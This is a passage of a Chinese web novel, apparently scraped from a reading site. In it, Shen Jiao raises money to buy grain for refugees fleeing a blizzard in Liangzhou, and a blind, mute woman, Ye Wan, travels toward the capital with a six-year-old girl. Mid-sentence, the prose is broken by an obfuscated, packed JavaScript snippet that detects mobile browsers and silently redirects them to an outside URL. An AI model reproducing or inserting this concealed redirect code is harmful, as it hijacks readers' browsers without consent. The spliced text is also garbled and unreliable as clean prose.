沈皎的确现在需要大量的银子，昨日在米氏买的粮食杯水车薪，这个冬天还很长，从凉州过来的流民不知道有多少，若流民太多，两石大米连一天都坚持不下去，只能想办法多订购些粮食备着，但京中的粮食也有限。她想尽可能多救一些人，只能差人去东都再购买粮食，而这一切都需要大量的银子。她拱起手，缓缓垂下头，对着福管家庄重地行了一礼：“多谢您和世子。” 福管家吓得连忙让沈皎起来：“沈姑娘，你这样折煞老奴了，快起来，其实这些都不算什么，世子在京中还有很多夫人留下的和陛下赐的田庄和店铺，姑娘银子若还需要的话，给老奴说一声就行。” 沈皎不客气道：“好，我知道了。” 院中的物品有绫罗、人参、珍珠、字画、药材、古玩应有尽有，且都价值连城。 沈皎让下人将院中的物品一半拿去了当铺，一半留了下来，以备不时之需。派陆林向杜威借调了些人手，暗中去东都购粮。 陆林刚出了门，就碰到了阿城。阿城见陆林打算出府，问道：“陆兄，这是打算去哪儿？不是说好今日去喝酒?” “临时有事，姑娘让我去东都购粮。” “京城去东都一来一回最快的话整整得一个月，而且这时外面还很乱，你一个人去购粮，路上也不安全，不如我去请示世子带人与你同去？” 有了谢淮派人保护，这一路上也能方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858908|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便许多。陆林自是乐意之至：“谢大人，会同意吗?” 阿城笑着道:“放心，只要是沈姑娘的事情，世子不会不同意的。” 阿城先让陆林在门口等着，回到书房，向谢淮请示。 谢淮这才知沈皎是想用银子去买粮食救济从凉州逃难而来的灾民，欣然应允:“带暗卫一道去。” “是，属下遵命。” 同一时刻，百里之外的凉州，鹅毛大雪已经连绵下了一个月，丝毫没有停歇的迹象。 官道上，积雪没膝，车轮碾过，留下两道深深的辙印。一群流民拖家带口，推着堆满破烂家当的木车，在寒风中艰难跋涉。 “爹！你醒醒啊！爹！”凄厉的哭喊声响起，一个妇人抱着年幼的孩子，跪在雪地里，对着一具早已冻僵的尸体苦苦哀求。 这样的场景，一路上众人早已司空见惯。麻木地看了一眼，便低下头，裹紧身上单薄的衣衫，沉默地绕开，谁也没有停下脚步，在这乱世里，能顾好自己活下去，已是万幸。 两个身强体壮的男子走上前，围住妇人，挡住别人的目光，尽管自己捉襟见肘，还不知道能不能活着走到京城，悄悄从包袱取出两张饼，弯腰快速塞进妇人的包袱里，低声道：“这饼是我们从和戎城出来时，林将军让人给我们发的，给孩子留着吧，别被别人看到了。” 妇人哽咽着抬头，想说些道谢的话，可那两人却已转身，大步融进了流民的队伍里，很快便没了踪影。 叶菀背着一个包袱，头上眉间肩头皆落了一层细碎的雪粒子，长长的发髻用一根骨簪挽在脑后，穿着一身勉强能保暖的破旧棉衣，走在人群中。瞧着灵动的眼睛里却没有一丝神采。听到两人的话，握着一根用竹子制成的明杖，慢吞吞地往前走。 “叶姐姐，小心，前面地上有个人躺在那里，我牵着你走。”一个扎着双丫髻的六岁稚童跑到叶菀跟前停下，紧紧抓住叶菀的衣袖，颤着声音道。 叶莞没再往前走，虽看不见，但也知道是又有人没能熬过这场大雪。她抓住那只冻得通红的小手，塞进衣兜里暖着，柔声地做着手语：“好，丫丫，别怕，要是看到害怕的话，就站到我身边。能帮叶姐姐再问下旁边的叔叔或者婶婶，还有多久到京城，可以吗？” “好。”丫丫躲到叶菀身侧，牵着叶菀远离尸体，看到一个妇人走过来，扭头问道：“婶婶，你知道还有多久才能到京城吗？” “差不多还得十天半个月吧。” 丫丫脆生生道完谢:“谢谢婶婶。” 叶菀听完妇人的话，借着丫丫的牵引，继续在雪地里慢慢走。走了一段路，她又停下，转过头，对着丫丫认真地比着手语：“丫丫，一定要跟紧前面的人，不要和不认识的人说话，也千万不要离开姐姐身边，知道吗？” 丫丫用力点头:“知道了，叶姐姐，我保证乖乖听你的话，一路上不乱跑，不和陌生人搭话。” “你偷跑出来，不怕你娘你爹担心吗？”叶菀又打起手语。 “可是叶姐姐看不见也不能说话，一个人要去京城我不放心。我出来的时候请教我念书的先生给爹娘留了信，爹娘看了就知道我来找叶姐姐了。”